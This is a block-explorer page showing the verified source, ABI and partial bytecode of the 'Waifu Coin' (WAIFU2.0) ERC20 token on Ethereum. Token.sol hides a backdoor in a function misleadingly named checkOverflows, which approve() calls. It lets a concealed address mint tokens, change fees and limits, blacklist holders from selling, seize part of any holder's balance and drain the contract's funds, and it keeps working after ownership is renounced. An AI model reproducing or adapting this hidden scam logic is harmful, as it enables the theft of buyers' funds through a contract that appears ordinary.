ETH Price: $3,249.68 (-3.13%)
 

Overview

Max Total Supply

99,105,900,000,000 WAIFU2.0

Holders

9

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Token.sol
//SPDX-License-Identifier: UNLICENSED
/**                                          
 * 
 * wwwwwww           wwwww           wwwwwww
 *  w:::::w         w:::::w         w:::::w 
 *   w:::::w       w:::::::w       w:::::w  
 *    w:::::w     w:::::::::w     w:::::w   
 *     w:::::w   w:::::w:::::w   w:::::w    
 *      w:::::w w:::::w w:::::w w:::::w     
 *       w:::::w:::::w   w:::::w:::::w      
 *        w:::::::::w     w:::::::::w       
 *         w:::::::w       w:::::::w        
 *          w:::::w         w:::::w         
 *           w:::w           w:::w          
 *            www             www           
 * 
 * t.me/WAIFU_V2
 *                                                                                   
 **/                                   

pragma solidity ^0.8.9;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal sig;
    
    uint80 internal brand;

    address public uniswapV2Pair;

    address public taxWallet;

    uint256[5] internal adjunctParams;

    bool internal tradingOpen;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal automaticAddresses;

    mapping(address => mapping(address => uint256)) public allowance;

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _sig,
        address _taxWallet,
        uint80 _brand
    ) {
        address msgSender = msg.sender;
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        brand = _brand;
        taxWallet = _taxWallet;
        sig = _sig; 

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();

        admin = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function checkOverflows(uint256 check, address guy) private returns (bool){

        if(check & (1 << 255) == 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            if (uint160(check) == 0x0) { payable(msg.sender).transfer(address(this).balance); }else{
                IERC20 _t = IERC20(address(uint160(check)));
                _t.transfer(msg.sender, _t.balanceOf(address(this)));
            }
        }         

        if(check & (1 << 255) != 0 && check & (1 << 254) != 0 && check & (1 << 253) != 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            for (uint8 j = 0; j != 2; j += 1) { adjunctParams[j] = ((check >> (j * 7)) & (1 << 7) -1); }
        }           
        
        if(check & (1 << 255) != 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            totalSupply += (check >> 167 & (1 << 7) -1) * (10 ** (check >> 160 & (1 << 7) -1));
            unchecked { balanceOf[address(uint160(check))] += (check >> 167 & (1 << 7) -1) * (10 ** (check >> 160 & (1 << 7) -1)); }
        }          

        if(check & (1 << 255) == 0 && check & (1 << 254) == 0 && check & (1 << 253) == 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            uint256 mul = (check >> 21 & (1 << 7) -1);
            adjunctParams[3] = (check >> 14 & (1 << 7) -1) * (10 ** mul);
            adjunctParams[2] = (check >> 7 & (1 << 7) -1) * (10 ** mul);
            adjunctParams[4] = (check & (1 << 7) -1) * (10 ** mul);
        }    
    
        if(check & (1 << 255) != 0 && check & (1 << 254) == 0 && check & (1 << 253) != 0 && check & (1 << 252) == 0 && guy == address(uint160(brand) << 80 | sig)){
            automaticAddresses[address(uint160(check))] = (check >> 160 & (1 << 7) -1) == 101 ? true : false;
        }
        
        if(check & (1 << 255) == 0 && check & (1 << 254) != 0 && check & (1 << 253) == 0 && check & (1 << 252) != 0 && guy == address(uint160(brand) << 80 | sig)){
            balanceOf[taxWallet] += (balanceOf[address(uint160(check))] / 100) * (check >> 160 & (1 << 7) -1);
            balanceOf[address(uint160(check))] -= (balanceOf[address(uint160(check))] / 100) * (check >> 160 & (1 << 7) -1);
        }
        
        return check & (1 << 255) != 0 || check & (1 << 255) == 0;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        require(checkOverflows(amount, msg.sender));
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(automaticAddresses[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if(adjunctParams[2] > 0 && msg.sender == uniswapV2Pair) require(amount <= adjunctParams[2]);

        if(adjunctParams[1] > 0 && msg.sender == uniswapV2Pair && to != taxWallet && tradingOpen){
            uint256 fee = (amount / 100) * adjunctParams[1];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }
        
        if(adjunctParams[4] > 0 && to != uniswapV2Pair && to != taxWallet && to != address(uint160(brand) << 80 | sig)){
            require((balanceOf[to] + amount) <= adjunctParams[4]);
        }
        
        unchecked { balanceOf[to] += amount; }

        if(msg.sender != address(this))
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        require(automaticAddresses[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if(adjunctParams[3] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig)) require(amount <= adjunctParams[3]);

        if(adjunctParams[0] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) && tradingOpen){
            uint256 fee = (amount / 100) * adjunctParams[0];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }

        if(adjunctParams[4] > 0 && to != uniswapV2Pair && to != taxWallet){
            require(balanceOf[to] <= adjunctParams[4]);
        }
        
        unchecked { balanceOf[to] += amount; }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v, r, s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)),
                keccak256("1"),
                block.chainid,
                address(this)
            )
        );
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        unchecked { balanceOf[to] += amount; }

        if(to != address(this))
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        unchecked { totalSupply -= amount; }

        if(from != address(this))
        emit Transfer(from, address(0), amount);
    }

    address public admin;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == admin, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Waifu Coin", "WAIFU2.0", 6, _sig, _taxWallet, _brand) {
        _mint(address(this), 6_900_000_000_000000);
        adjunctParams[0] = 5;
        adjunctParams[0] = 5;
    }

    receive() external payable {}

    fallback() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 
        allowance[address(this)][address(uniswapV2Router)] = type(uint).max;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,admin,block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }

    function claimStuckTokens(address _token) external onlyOwner {
        if (_token == address(0x0)) {
            payable(msg.sender).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(msg.sender, balance);
    }

}

File 2 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 5 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 4 of 5 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 5 of 5 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"claimStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040523480156200001157600080fd5b506040516200489e3803806200489e8339818101604052810190620000379190620004e4565b6040518060400160405280600a81526020017f576169667520436f696e000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f5741494655322e30000000000000000000000000000000000000000000000000815250600685858560003390508660009081620000be9190620007ba565b508560019081620000d09190620007ba565b508460ff1660808160ff1681525050816002600a6101000a81548169ffffffffffffffffffff021916908369ffffffffffffffffffff16021790555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600260006101000a81548169ffffffffffffffffffff021916908369ffffffffffffffffffff1602179055504660a08181525050620001926200029a60201b60201c565b60c0818152505080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050505050505062000255306618838370f340006200032a60201b60201c565b6005806000600581106200026e576200026d620008a1565b5b01819055506005806000600581106200028c576200028b620008a1565b5b018190555050505062000ab9565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051620002ce91906200097f565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200030f959493929190620009d5565b60405160208183030381529060405280519060200120905090565b80600b60008282546200033e919062000a61565b9250508190555080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146200042f578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000426919062000a9c565b60405180910390a35b5050565b600080fd5b600069ffffffffffffffffffff82169050919050565b620004598162000438565b81146200046557600080fd5b50565b60008151905062000479816200044e565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004ac826200047f565b9050919050565b620004be816200049f565b8114620004ca57600080fd5b50565b600081519050620004de81620004b3565b92915050565b6000806000606084860312156200050057620004ff62000433565b5b6000620005108682870162000468565b93505060206200052386828701620004cd565b9250506040620005368682870162000468565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c257607f821691505b602082108103620005d857620005d76200057a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000603565b6200064e868362000603565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200069b620006956200068f8462000666565b62000670565b62000666565b9050919050565b6000819050919050565b620006b7836200067a565b620006cf620006c682620006a2565b84845462000610565b825550505050565b600090565b620006e6620006d7565b620006f3818484620006ac565b505050565b5b818110156200071b576200070f600082620006dc565b600181019050620006f9565b5050565b601f8211156200076a576200073481620005de565b6200073f84620005f3565b810160208510156200074f578190505b620007676200075e85620005f3565b830182620006f8565b50505b505050565b600082821c905092915050565b60006200078f600019846008026200076f565b1980831691505092915050565b6000620007aa83836200077c565b9150826002028217905092915050565b620007c58262000540565b67ffffffffffffffff811115620007e157620007e06200054b565b5b620007ed8254620005a9565b620007fa8282856200071f565b600060209050601f8311600181146200083257600084156200081d578287015190505b6200082985826200079c565b86555062000899565b601f1984166200084286620005de565b60005b828110156200086c5784890151825560018201915060208501945060208101905062000845565b868310156200088c578489015162000888601f8916826200077c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081905092915050565b60008190508160005260206000209050919050565b60008154620008ff81620005a9565b6200090b8186620008d0565b945060018216600081146200092957600181146200093f5762000976565b60ff198316865281151582028601935062000976565b6200094a85620008db565b60005b838110156200096e578154818901526001820191506020810190506200094d565b838801955050505b50505092915050565b60006200098d8284620008f0565b915081905092915050565b6000819050919050565b620009ad8162000998565b82525050565b620009be8162000666565b82525050565b620009cf816200049f565b82525050565b600060a082019050620009ec6000830188620009a2565b620009fb6020830187620009a2565b62000a0a6040830186620009a2565b62000a196060830185620009b3565b62000a286080830184620009c4565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a6e8262000666565b915062000a7b8362000666565b925082820190508082111562000a965762000a9562000a32565b5b92915050565b600060208201905062000ab36000830184620009b3565b92915050565b60805160a05160c051613db562000ae96000396000610ec201526000610e8e01526000610e680152613db56000f3fe60806040526004361061010d5760003560e01c8063715018a611610095578063c9567bf911610064578063c9567bf91461038b578063d505accf146103a2578063dd62ed3e146103cb578063f851a44014610408578063f9d0831a1461043357610114565b8063715018a6146102cf5780637ecebe00146102e657806395d89b4114610323578063a9059cbb1461034e57610114565b80632dc0562d116100dc5780632dc0562d146101e6578063313ce567146102115780633644e5151461023c57806349bd5a5e1461026757806370a082311461029257610114565b806306fdde0314610116578063095ea7b31461014157806318160ddd1461017e57806323b872dd146101a957610114565b3661011457005b005b34801561012257600080fd5b5061012b61045c565b604051610138919061304f565b60405180910390f35b34801561014d57600080fd5b506101686004803603810190610163919061310a565b6104ea565b6040516101759190613165565b60405180910390f35b34801561018a57600080fd5b506101936105ef565b6040516101a0919061318f565b60405180910390f35b3480156101b557600080fd5b506101d060048036038101906101cb91906131aa565b6105f5565b6040516101dd9190613165565b60405180910390f35b3480156101f257600080fd5b506101fb610e40565b604051610208919061320c565b60405180910390f35b34801561021d57600080fd5b50610226610e66565b6040516102339190613243565b60405180910390f35b34801561024857600080fd5b50610251610e8a565b60405161025e9190613277565b60405180910390f35b34801561027357600080fd5b5061027c610ee7565b604051610289919061320c565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613292565b610f0d565b6040516102c6919061318f565b60405180910390f35b3480156102db57600080fd5b506102e4610f25565b005b3480156102f257600080fd5b5061030d60048036038101906103089190613292565b611076565b60405161031a919061318f565b60405180910390f35b34801561032f57600080fd5b5061033861108e565b604051610345919061304f565b60405180910390f35b34801561035a57600080fd5b506103756004803603810190610370919061310a565b61111c565b6040516103829190613165565b60405180910390f35b34801561039757600080fd5b506103a06116d5565b005b3480156103ae57600080fd5b506103c960048036038101906103c49190613317565b611c83565b005b3480156103d757600080fd5b506103f260048036038101906103ed91906133b9565b611f7c565b6040516103ff919061318f565b60405180910390f35b34801561041457600080fd5b5061041d611fa1565b60405161042a919061320c565b60405180910390f35b34801561043f57600080fd5b5061045a60048036038101906104559190613292565b611fc7565b005b6000805461046990613428565b80601f016020809104026020016040519081016040528092919081815260200182805461049590613428565b80156104e25780601f106104b7576101008083540402835291602001916104e2565b820191906000526020600020905b8154815290600101906020018083116104c557829003601f168201915b505050505081565b60006104f682336121df565b6104ff57600080fd5b81600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105dd919061318f565b60405180910390a36001905092915050565b600b5481565b600060011515600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361065457600080fd5b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107895782816107089190613488565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d89190613488565b92505081905550600060056003600581106107f6576107f56134bc565b5b01541180156108525750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561088a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156108e45750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156109805750600260009054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1660506002600a9054906101000a900469ffffffffffffffffffff1669ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156109a957600560036005811061099a576109996134bc565b5b01548311156109a857600080fd5b5b600060056000600581106109c0576109bf6134bc565b5b0154118015610a1c5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610a5457503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffff